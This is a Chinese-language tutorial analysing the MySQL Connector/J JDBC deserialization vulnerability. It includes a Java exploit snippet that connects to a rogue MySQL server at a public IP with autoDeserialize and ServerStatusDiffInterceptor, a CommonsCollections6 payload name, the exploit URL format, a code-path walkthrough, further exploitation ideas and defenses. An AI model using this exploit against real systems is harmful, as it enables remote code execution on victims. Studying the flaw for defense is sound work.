Java安全-JDBC反序列化
字数 1769 2025-08-25 22:59:10
JDBC反序列化漏洞分析与利用
1. JDBC基础概念
JDBC (Java DataBase Connectivity) 是Java执行SQL语句的API,为多种关系数据库提供统一访问接口,由一组Java类和接口组成,是Java访问数据库的标准规范。
基本连接格式:
jdbc:mysql://127.0.0.1:3306/db?user=root&pass=root
2. 漏洞复现
2.1 环境准备
依赖项:
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.12</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
漏洞利用代码:
import java.sql.*;
public class JdbcTest {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.cj.jdbc.Driver");
String user = "yso_CommonsCollections6_calc";
String jdbc_url = "jdbc:mysql://116.62.63.234:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=" + user;
Connection conn = DriverManager.getConnection(jdbc_url);
conn.close();
}
}
2.2 恶意服务器搭建
使用MySQL_Fake_Server搭建恶意服务器,需要修改config.json中的yso地址。
触发效果:连接后会触发CC6利用链的反序列化,通常会弹出4个计算器(触发4次反序列化)。
3. 漏洞分析
3.1 连接流程
- 入口点:
DriverManager.getConnection() - 使用:
com.mysql.cj.jdbc.Driver进行连接 - 构建:
ConnectionUrl对象
3.2 URL解析
使用com.mysql.cj.conf.ConnectionUrlParser分割URL为:
scheme→ jdbc:mysql:(数据库连接类型)authority→ host:portpath→ 数据库query→ 查询语句(带入的参数)
3.3 关键对象创建
-
ConnectionImpl.getInstance():
- 以ConnectionUrl对象的hosts属性为参数创建ConnectionImpl对象
- 构造方法中将hosts属性分割并写入propertySet属性
- 根据URL参数覆盖PropertyDefinition中的默认值
-
NativeSession对象:
- 创建this.session为NativeSession对象
- 创建到服务器的IO通道
3.4 关键触发点
-
initializePropsFromServer() → handleAutoCommitDefaults() → setAutoCommit()
- 执行SQL语句
- 调用
NativeProtocol.sendQueryString() - 调用
sendQueryPacket() - 如果queryInterceptors不为null,调用
invokeQueryInterceptorsPre() - 触发拦截器的
preProcess()方法 - 执行
SHOW SESSION STATUS查询 - 结果返回给
ResultSetUtil.resultSetToMap() - 当
autoDeserialize=true时进入反序列化
-
preProcess结束后:
- 触发拦截器的
postProcess方法(第二次触发)
- 触发拦截器的
-
setupServerForTruncationChecks():
- 再次执行
execSQL(第三、四次触发)
- 再次执行
4. 关键漏洞条件
4.1 必要条件
-
queryInterceptors参数:
- NativeProtocol对象的queryInterceptors属性不为null
- ConnectionImpl对象初始化NativeSession对象时调用
initializeSafeQueryInterceptors() - 需要jdbc连接的queryInterceptors值来加载类
- 必须指定拦截器的类名(如
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)
-
autoDeserialize参数:
- ResultSetImpl对象需要有jdbc连接的autoDeserialize属性为true
- 才会进入反序列化流程
4.2 典型利用URL格式
jdbc:mysql://host:port/db?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
5. 其他利用方式
-
任意写Gadgets利用:
- 编写readObject后门
- 在jdbc连接时发送此后门的序列化数据
-
自定义恶意拦截器:
- 编写恶意拦截器,重写preProcess方法
- 在URL中指定其全类名
6. 防御措施
- 升级MySQL Connector/J到最新版本
- 避免使用不受信任的JDBC连接字符串
- 限制应用程序的网络连接能力
- 使用安全的反序列化策略